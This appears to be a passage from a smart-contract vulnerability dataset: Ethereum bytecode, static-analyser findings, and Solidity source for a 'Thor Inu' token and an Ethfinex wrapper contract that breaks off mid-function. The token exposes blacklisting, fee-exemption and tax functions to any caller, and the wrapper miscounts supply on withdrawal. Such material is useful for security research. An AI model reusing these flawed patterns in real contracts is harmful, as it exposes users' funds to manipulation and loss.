56112e05750600c546001600160a01b03868116911614155b1561137057801561137057600c546113149060649061125f90600f9061130e906001600160a01b0316610686565b90611492565b81111561134157600c5461133e9060649061125f90600f9061130e906001600160a01b0316610686565b90505b600061134e82600f611511565b905061135a8183611c22565b9150611365816115b2565b61136e82610ca3565b505b505b61137e848484846115e2565b50505050565b600081848411156113a85760405162461bcd60e51b81526004016104c691906118cf565b5060006113b58486611c22565b95945050505050565b60006006548211156114255760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c6565b600061142f6116e5565b905061143b8382611511565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114a1575060006104f9565b60006114ad8385611c39565b9050826114ba8583611c58565b1461143b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c6565b600061143b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611708565b6000806115608385611b7c565b90508381101561143b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c6565b600c805460ff60b01b1916600160b01b1790556115d23061dead83610f41565b50600c805460ff60b01b19169055565b80806115f0576115f0611736565b6000806000806115ff87611752565b6001600160a01b038d166000908152600160205260409020549397509195509350915061162c9085611799565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461165b9084611553565b6001600160a01b03891660009081526001602052604090205561167d816117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116c291815260200190565b60405180910390a350505050806116de576116de600954600855565b5050505050565b60008060006116f2611825565b90925090506117018282611511565b9250505090565b600081836117295760405162461bcd60e51b81526004016104c691906118cf565b5060006113b58486611c58565b60006008541161174557600080fd5b6008805460095560009055565b60008060008060008061176787600854611869565b9150915060006117756116e5565b90506000806117858a8585611896565b909b909a5094985092965092945050505050565b600061143b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611384565b60006117e56116e5565b905060006117f38383611492565b306000908152600160205260409020549091506118109082611553565b30600090815260016020526040902055505050565b600654600090819069021e19e0c9bab24000006118428282611511565b8210156118605750506006549269021e19e0c9bab240000092509050565b90939092509050565b6000808061187c606461125f8787611492565b9050600061188a8683611799565b96919550909350505050565b600080806118a48685611492565b905060006118b28686611492565b905060006118c08383611799565b92989297509195505050505050565b600060208083528351808285015260005b818110156118fc578581018301518582016040015282016118e0565b8181111561190e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e557600080fd5b803561194481611924565b919050565b6000806040838503121561195c57600080fd5b823561196781611924565b946020939093013593505050565b60008060006060848603121561198a57600080fd5b833561199581611924565b925060208401356119a581611924565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119df57600080fd5b823567ffffffffffffffff808211156119f757600080fd5b818501915085601f830112611a0b57600080fd5b813581811115611a1d57611a1d6119b6565b8060051b604051601f19603f83011681018181108582111715611a4257611a426119b6565b604052918252848201925083810185019188831115611a6057600080fd5b938501935b82851015611a8557611a7685611939565b84529385019392850192611a65565b98975050505050505050565b600060208284031215611aa357600080fd5b813561143b81611924565b60008060408385031215611ac157600080fd5b8235611acc81611924565b91506020830135611adc81611924565b809150509250929050565b600060208284031215611af957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b7557611b75611b4b565b5060010190565b60008219821115611b8f57611b8f611b4b565b500190565b600060208284031215611ba657600080fd5b815161143b81611924565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c015784516001600160a01b031683529383019391830191600101611bdc565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c3457611c34611b4b565b500390565b6000816000190483118215151615611c5357611c53611b4b565b500290565b600082611c7557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d92648bc2fa1e966ceee01960ec11a81c61f8f20fa5e95169d8b9570f89c28464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,690 |
0x299eDe804D5C044DbAf55722cBf00AF8ac14f4ba
|
/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
//SPDX-License-Identifier: MIT
/**
🔥 Thor Inu Launch soon🔥
🎈Tokenomics🎈
🎈 Symbol: THOR
💰 Total Supply :90,000,000
💰 Max Buy: 900,000 (1%)
💰 Initial Liquidity Pool: 2 ETH
🌕 Team Token: Nil
🌕 Tax 9%
t.me/thorinugroup
**/
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=90000000;
string constant TOKEN_SYMBOL="THOR";
string constant TOKEN_NAME="Thor Inu";
uint8 constant DECIMALS=18;
uint256 constant TAX_THRESHOLD=1000000000000000000;
contract ThorInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function burn(uint256 percentage) public onlyOwner{
require(_balance[address(this)]>0,"Nothing to burn");
uint256 burnAmount=_balance[address(this)].div(100).mul(percentage);
_tokenTransfer(address(this),0x0000000000000000000000000000000000000001, burnAmount,0);
}
function addToWhitelist(address buyer) public {
_isExcludedFromFee[buyer]=true;
}
function removeFromWhitelist(address buyer) public {
_isExcludedFromFee[buyer]=false;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function lowerTax(uint256 newTaxRate) public {
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public {
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function blockBots(address[] memory bots_) public {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public {
bots[notbot] = false;
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x60806040526004361061014e5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146103fa578063bfd792841461041a578063d49b55d61461044a578063dd62ed3e1461045f578063e43252d7146104a5578063e8078d94146104e457600080fd5b8063715018a61461031e5780637d1db4a5146103335780638ab1d681146103495780638da5cb5b1461038557806395d89b41146103ad5780639e752b95146103da57600080fd5b80633d8705ab116101085780633d8705ab1461024a5780633e07ce5b1461025f57806342966c68146102775780634a131672146102975780636b999053146102ac57806370a08231146102e857600080fd5b8062b8cf2a1461015a57806306fdde031461017c578063095ea7b3146101bf57806318160ddd146101ef57806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015557005b600080fd5b34801561016657600080fd5b5061017a610175366004611459565b6104f9565b005b34801561018857600080fd5b5060408051808201909152600881526754686f7220496e7560c01b60208201525b6040516101b6919061151e565b60405180910390f35b3480156101cb57600080fd5b506101df6101da366004611573565b610565565b60405190151581526020016101b6565b3480156101fb57600080fd5b506006545b6040519081526020016101b6565b34801561021a57600080fd5b506101df61022936600461159f565b61057c565b34801561023a57600080fd5b50604051601281526020016101b6565b34801561025657600080fd5b5061017a6105e5565b34801561026b57600080fd5b5061017a600654600955565b34801561028357600080fd5b5061017a6102923660046115e0565b6105f2565b3480156102a357600080fd5b5061017a6106aa565b3480156102b857600080fd5b5061017a6102c73660046115f9565b6001600160a01b03166000908152600560205260409020805460ff19169055565b3480156102f457600080fd5b506102006103033660046115f9565b6001600160a01b031660009081526002602052604090205490565b34801561032a57600080fd5b5061017a610944565b34801561033f57600080fd5b5061020060095481565b34801561035557600080fd5b5061017a6103643660046115f9565b6001600160a01b03166000908152600460205260409020805460ff19169055565b34801561039157600080fd5b506000546040516001600160a01b0390911681526020016101b6565b3480156103b957600080fd5b506040805180820190915260048152632a2427a960e11b60208201526101a9565b3480156103e657600080fd5b5061017a6103f53660046115e0565b6109b8565b34801561040657600080fd5b506101df610415366004611573565b6109ca565b34801561042657600080fd5b506101df6104353660046115f9565b60056020526000908152604090205460ff1681565b34801561045657600080fd5b5061017a6109d7565b34801561046b57600080fd5b5061020061047a366004611616565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104b157600080fd5b5061017a6104c03660046115f9565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b3480156104f057600080fd5b5061017a6109f0565b60005b81518110156105615760016005600084848151811061051d5761051d61164f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105598161167b565b9150506104fc565b5050565b6000610572338484610b53565b5060015b92915050565b6000610589848484610c77565b6105db84336105d68560405180606001604052806028815260200161181a602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fde565b610b53565b5060019392505050565b476105ef81611018565b50565b6000546001600160a01b031633146106255760405162461bcd60e51b815260040161061c90611696565b60405180910390fd5b306000908152600260205260409020546106735760405162461bcd60e51b815260206004820152600f60248201526e2737ba3434b733903a3790313ab93760891b604482015260640161061c565b3060009081526002602052604081205461069a908390610694906064610b0a565b90611052565b90506105613060018360006110d1565b6000546001600160a01b031633146106d45760405162461bcd60e51b815260040161061c90611696565b600b54600160a01b900460ff161561072e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161061c565b600a5460065461074b9130916001600160a01b0390911690610b53565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c291906116cb565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610824573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084891906116cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b991906116cb565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610920573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ef91906116e8565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161061c90611696565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600981106109c557600080fd5b600755565b6000610572338484610c77565b306000908152600260205260409020546105ef816111d5565b6000546001600160a01b03163314610a1a5760405162461bcd60e51b815260040161061c90611696565b600a546001600160a01b031663f305d7194730610a4c816001600160a01b031660009081526002602052604090205490565b600080610a616000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aee919061170a565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b6000610b4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061134f565b9392505050565b6001600160a01b038316610bb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061c565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061c565b6001600160a01b038216610d3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061c565b60008111610d9f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061c565b6000546001600160a01b03848116911614801590610dcb57506000546001600160a01b03838116911614155b15610f7d57600b546001600160a01b038481169116148015610dfb5750600a546001600160a01b03838116911614155b8015610e2057506001600160a01b03821660009081526004602052604090205460ff16155b15610e7757600954811115610e775760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161061c565b6001600160a01b03831660009081526005602052604090205460ff16158015610eb957506001600160a01b03821660009081526005602052604090205460ff16155b610f055760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161061c565b30600090815260026020526040902054600b54600160a81b900460ff16158015610f3d5750600b546001600160a01b03858116911614155b8015610f525750600b54600160b01b900460ff165b15610f7b57610f60816111d5565b47670de0b6b3a76400008110610f7957610f7947611018565b505b505b6001600160a01b038216600090815260046020526040902054610fd99084908490849060ff1680610fc657506001600160a01b03871660009081526004602052604090205460ff165b610fd2576007546110d1565b60006110d1565b505050565b600081848411156110025760405162461bcd60e51b815260040161061c919061151e565b50600061100f8486611738565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610561573d6000803e3d6000fd5b60008261106157506000610576565b600061106d838561174f565b90508261107a858361176e565b14610b4c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161061c565b60006110e860646110e28585611052565b90610b0a565b905060006110f6848361137d565b6001600160a01b03871660009081526002602052604090205490915061111c908561137d565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461114b90826113bf565b6001600160a01b03861660009081526002602052604080822092909255308152205461117790836113bf565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121d5761121d61164f565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129a91906116cb565b816001815181106112ad576112ad61164f565b6001600160a01b039283166020918202929092010152600a546112d39130911684610b53565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061130c908590600090869030904290600401611790565b600060405180830381600087803b15801561132657600080fd5b505af115801561133a573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b600081836113705760405162461bcd60e51b815260040161061c919061151e565b50600061100f848661176e565b6000610b4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fde565b6000806113cc8385611801565b905083811015610b4c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161061c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146105ef57600080fd5b803561145481611434565b919050565b6000602080838503121561146c57600080fd5b823567ffffffffffffffff8082111561148457600080fd5b818501915085601f83011261149857600080fd5b8135818111156114aa576114aa61141e565b8060051b604051601f19603f830116810181811085821117156114cf576114cf61141e565b6040529182528482019250838101850191888311156114ed57600080fd5b938501935b828510156115125761150385611449565b845293850193928501926114f2565b98975050505050505050565b600060208083528351808285015260005b8181101561154b5785810183015185820160400152820161152f565b8181111561155d576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561158657600080fd5b823561159181611434565b946020939093013593505050565b6000806000606084860312156115b457600080fd5b83356115bf81611434565b925060208401356115cf81611434565b929592945050506040919091013590565b6000602082840312156115f257600080fd5b5035919050565b60006020828403121561160b57600080fd5b8135610b4c81611434565b6000806040838503121561162957600080fd5b823561163481611434565b9150602083013561164481611434565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561168f5761168f611665565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116dd57600080fd5b8151610b4c81611434565b6000602082840312156116fa57600080fd5b81518015158114610b4c57600080fd5b60008060006060848603121561171f57600080fd5b8351925060208401519150604084015190509250925092565b60008282101561174a5761174a611665565b500390565b600081600019048311821515161561176957611769611665565b500290565b60008261178b57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e05784516001600160a01b0316835293830193918301916001016117bb565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561181457611814611665565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c909337cbb380d45ffbb39da92e0a61bd4a3bafbba8a3911e910e5d5e3c64c564736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,691 |
0x768c42ff6f5805bd2631ac7cc9eabe3af17b4b41
|
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**ERC20OldBasic.sol
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
*/
contract ERC20OldBasic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Old is ERC20OldBasic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
Copyright Ethfinex Inc 2018
Licensed under the Apache License, Version 2.0
http://www.apache.org/licenses/LICENSE-2.0
*/
contract WrapperLockEth is BasicToken, Ownable {
using SafeMath for uint256;
address public TRANSFER_PROXY;
mapping (address => bool) public isSigner;
string public name;
string public symbol;
uint public decimals;
address public originalToken = 0x00;
mapping (address => uint) public depositLock;
mapping (address => uint256) public balances;
function WrapperLockEth(string _name, string _symbol, uint _decimals, address _transferProxy) Ownable() {
TRANSFER_PROXY = _transferProxy;
name = _name;
symbol = _symbol;
decimals = _decimals;
isSigner[msg.sender] = true;
}
function deposit(uint _value, uint _forTime) public payable returns (bool success) {
require(_forTime >= 1);
require(now + _forTime * 1 hours >= depositLock[msg.sender]);
balances[msg.sender] = balances[msg.sender].add(msg.value);
totalSupply_ = totalSupply_.add(msg.value);
depositLock[msg.sender] = now + _forTime * 1 hours;
return true;
}
function withdraw(
uint _value,
uint8 v,
bytes32 r,
bytes32 s,
uint signatureValidUntilBlock
)
public
returns
(bool)
{
require(balanceOf(msg.sender) >= _value);
if (now > depositLock[msg.sender]) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(msg.value);
msg.sender.transfer(_value);
} else {
require(block.number < signatureValidUntilBlock);
require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s));
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(msg.value);
depositLock[msg.sender] = 0;
msg.sender.transfer(_value);
}
return true;
}
function withdrawDifferentToken(address _token, bool _erc20old) public onlyOwner returns (bool) {
require(ERC20(_token).balanceOf(address(this)) > 0);
if (_erc20old) {
ERC20Old(_token).transfer(msg.sender, ERC20(_token).balanceOf(address(this)));
} else {
ERC20(_token).transfer(msg.sender, ERC20(_token).balanceOf(address(this)));
}
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public {
require(isSigner[_to] || isSigner[_from]);
assert(msg.sender == TRANSFER_PROXY);
balances[_to] = balances[_to].add(_value);
